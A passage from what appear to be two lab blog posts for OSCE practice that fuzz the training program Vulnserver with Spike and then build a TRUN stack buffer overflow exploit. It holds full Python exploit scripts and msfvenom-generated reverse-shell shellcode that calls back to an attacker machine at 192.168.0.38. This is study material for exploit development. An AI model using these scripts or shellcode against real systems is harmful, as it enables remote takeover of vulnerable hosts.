\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f
\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1
\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3
\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7
\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9
\xfa\xfb\xfc\xfd\xfe\xff"
buffer = 'A' * (2002-len(badchars)) + badchars + '\x42\x42\x42\x42' + 'C' * 2994

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

The python payload is ready. VulnServer is started on the Vista machine and it is running on port 5000. Immunity debugger is attached to the process and the payload is sent. The crash we expected occurred and the the characters we sent are in the stack.

Immunity Debugger Stack Dump
Stack Dump in Immunity Debugger

Looking through the stack we can see that we are lucky and there are no bad characters. This will make the payload generation much easier.

ESP JUMP

We know that we control EIP and so far we have just overwritten it with four ‘B’s. It’s time to start overwriting EIP with something meaningful that moves us towards our target of a reverse shell payload. From our earlier discovery our payload is accessible via the ESP register. We need to find either a CALL ESP or JMP ESP in the VulnSever DLL. Let’s go hunting!

JMP ESP found in Application DLL
JMP ESP was found at 625011AF

Using Immunity Debugger a JMP ESP (FFE4) was found at 625011AF. Let’s insert it in to the Python payload and see if it works. Remember that Intel x86 processors are little endian and therefore we need to reverse the memory address to \xAF\x11\x50\x62. Let’s modify our Python code and test it.

#!/usr/bin/python
import socket
import os
import sys

crash = "TRUN /.:/ "

#JMP 625011AF   FFE4             JMP ESP

payload = ('\x41\x41')
buffer = "A" * 2002  + "\xaf\x11\x50\x62" + "\x90" * 50 + payload + "\x90" *50 + "D" * (2894 -len(payload))


print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Some NOP’s have also been placed in the exploit and the payload variable is ready to be modified. Once more we test that everything is working as expected. Let’s send the exploit and follow the code in Immunity Debugger. We need to verify that EIP is over written with 625011AF and that a jump takes place to ESP and hopefully it will hit the NOP sled \x90 * 50.

JMP ESP FFE4
EIP overwriteen with FFE4

Success! We can see that EIP was overwritten as expected with the memory address pointing to a JMP ESP. To continue further push F7 to resume execution and confirm that we hit the NOP sled.

Immunity Debugger NOP Sled
We hit the NOP Sled

Reverse Shell

Everything is looking really good as we have full control of execution. We are close to the end but it would be for nothing if we didn’t get that reverse shell! Lets use the Metasploit Framework to generate the shellcode and embed it in our Python code.

The payload generated is ….

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -b '\x00'

This is a stageless payload that omits null bytes (\x00) from the payload. Combining the payload with our Python code results in …

#!/usr/bin/python
import socket
import os
import sys

crash = "TRUN /.:/ "

#JMP 625011AF   FFE4             JMP ESP

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -b '\x00'
payload =(
"\xd9\xc4\xbe\x87\x36\x50\x31\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x4f\x31\x73\x19\x03\x73\x19\x83\xeb\xfc\x65\xc3\xac" +
"\xd9\xe0\x2c\x4d\x1a\x92\xa5\xa8\x2b\x80\xd2\xb9\x1e\x14" +
"\x90\xec\x92\xdf\xf4\x04\x20\xad\xd0\x2b\x81\x1b\x07\x05" +
"\x12\xaa\x87\xc9\xd0\xad\x7b\x10\x05\x0d\x45\xdb\x58\x4c" +
"\x82\x06\x92\x1c\x5b\x4c\x01\xb0\xe8\x10\x9a\xb1\x3e\x1f" +
"\xa2\xc9\x3b\xe0\x57\x63\x45\x31\xc7\xf8\x0d\xa9\x63\xa6" +
"\xad\xc8\xa0\xb5\x92\x83\xcd\x0d\x60\x12\x04\x5c\x89\x24" +
"\x68\x32\xb4\x88\x65\x4b\xf0\x2f\x96\x3e\x0a\x4c\x2b\x38" +
"\xc9\x2e\xf7\xcd\xcc\x89\x7c\x75\x35\x2b\x50\xe3\xbe\x27" +
"\x1d\x60\x98\x2b\xa0\xa5\x92\x50\x29\x48\x75\xd1\x69\x6e" +
"\x51\xb9\x2a\x0f\xc0\x67\x9c\x30\x12\xcf\x41\x94\x58\xe2" +
"\x96\xae\x02\x6b\x5a\x9c\xbc\x6b\xf4\x97\xcf\x59\x5b\x03" +
"\x58\xd2\x14\x8d\x9f\x15\x0f\x69\x0f\xe8\xb0\x89\x19\x2f" +
"\xe4\xd9\x31\x86\x85\xb2\xc1\x27\x50\x14\x92\x87\x0b\xd4" +
"\x42\x68\xfc\xbc\x88\x67\x23\xdc\xb2\xad\x52\xdb\x25\x8e" +
"\xcd\xe3\x93\x66\x0c\xe3\xca\x2d\x99\x05\x86\xc1\xcf\x9e" +
"\x3f\x7b\x4a\x54\xa1\x84\x40\xfc\x42\x16\x0f\xfc\x0d\x0b" +
"\x98\xab\x5a\xfd\xd1\x39\x77\xa4\x4b\x5f\x8a\x30\xb3\xdb" +
"\x51\x81\x3a\xe2\x14\xbd\x18\xf4\xe0\x3e\x25\xa0\xbc\x68" +
"\xf3\x1e\x7b\xc3\xb5\xc8\xd5\xb8\x1f\x9c\xa0\xf2\x9f\xda" +
"\xac\xde\x69\x02\x1c\xb7\x2f\x3d\x91\x5f\xb8\x46\xcf\xff" +
"\x47\x9d\x4b\x0f\x02\xbf\xfa\x98\xcb\x2a\xbf\xc4\xeb\x81" +
"\xfc\xf0\x6f\x23\x7d\x07\x6f\x46\x78\x43\x37\xbb\xf0\xdc" +
"\xd2\xbb\xa7\xdd\xf6")

buffer = "A" * 2002  + "\xaf\x11\x50\x62" + "\x90" *50 + payload + "\x90" *50 

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

We are done! Lets run the code and see if we get a reverse shell.

Netcat reverse shell
Reverse Shell Received

It worked! Our payload was executed and the Windows machine established a reverse shell back to our Backtrack machine. The TRUN component of the Vulnserver is complete. My next blog post will attempt to exploit other Vulnserver modules.

Click here for my blog entry exploiting GMON in Vulnserver.

Fuzzing VulnServer with Spike and Wireshark

Fuzzing VulnServer with Spike and Wireshark

My OSCE exam is rapidly approaching and I need to practice my fuzzing and exploit development. VulnServer by Stephen Bradshaw seemed like a good place to start.

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.

First things first, lets enumerate VulnServer manually and try to understand the executable. The executable is 32 bit and I have fired up Windows Vista to run the binary on port 5000. As Backtrack is the OS of choice for the OSCE exam I will use it for probing VulnServer. I need to practice as much as possible with it!

Using Netcat to inspect VulnServer

From connecting to the application and examining how it operates it can be observed that the binary expects a command followed by a parameter. Commands are listed by entering HELP and valid commands are STATS RTIME LTIME SRUN TRUN GMON GDOG KSTET GTER HTER LTER KSTAN.

Straight away I am wondering , what happens if values are entered without a parameter? What happens if a number is entered? Will a negative number cause a problem? What if a string is used? Initial probing from the picture shows that the STATS command accepted an arbitrary value I choose of 60000 . STATS on its own returned a value of UNKNOWN COMMAND.

Let’s fire up a fuzzer and see if we can provide invalid, unexpected, or random data to the application. Once again the OSCE exam drives my decision here. Spike is the fuzzer of choice for the exam and as such it is the one that I am going to use. While Spike has been superseded in recent years by Sully and Boofuzz it still remains an extremely capable and relatively easy to use fuzzer.

To use Spike a spike template needs to be configured. This means that Spike will operate within the confines that we define. The code used can be seen below and replicates the functionality that was observed when the application was probed manually earlier.

root@bt:/pentest/fuzzers/spike/src/audits/custom# cat vulnserv.spk 
s_string("SRUN");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

The observant reader will notice that the highlighted line contains _variable unlike row 3 which just contains s_string. This means that Spike will only fuzz the value that comes after the command SRUN.

Fuzzing the SRUN

The fuzzer was left to run until it fully completed fuzzing. The application handled all the fuzz attempts with no issues. Given that we did not get the crash that we were hoping for let’s move on to the next command and begin again. This time I am going to pick the command TRUN and hopefully we get a crash!

On the Vista machine Immunity Debugger was launched and attached to the running VulnServer process. The default operation in Immunity Debugger is to pause the excitable but we need it to execute freely so the play button was clicked.

The spike template was modified to use the TRUN command and a Wireshark capture filter was set to monitor packets sent to port 5000. After Spike was executed, very quickly a crash was observed in Immunity Debugger. A buffer overflow was triggered and it can be see from the picture below.

EIP overwritten with 41414141

The instruction pointer (EIP) is overwritten with ‘AAAA’ which is \x41\x41\x41\x41 in hexadecimal. In addition it can be clearly seen that the stack pointer (ESP) now points towards towards a long string of ‘A’s. Examining the EAX register in this case gives a good indication as to the value that caused the overflow. It appears that the command “TRUN /.:/AAA…” is the command and value that causes the overflow to occur. Lets confirm with Wireshark.

As we can see the exact packet that causes the issue is ” “TRUN /.:/AAA…”.

To complete the fuzzing it is time to finally reproduce the crash by sending just this specific packet. I quickly wrote a simple Python script to reproduce the crash. It is important to to able to isolate the specific packet and be able to reproduce the crash from a script as this will enable us to craft an exploit payload.

#!/usr/bin/python
import socket
import os
import sys

crash = "TRUN /.:/ "
buffer = "A" * 5000

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

The Python script was executed and once again EIP is overwritten. To recap we have successfully fuzzed an application and isolated a packet that causes a buffer over flow.

In my next blog post I will take the Python script to the next stage and modify the payload to return a shell to us.

Click here to follow to the next blog entry and create the reverse shell payload.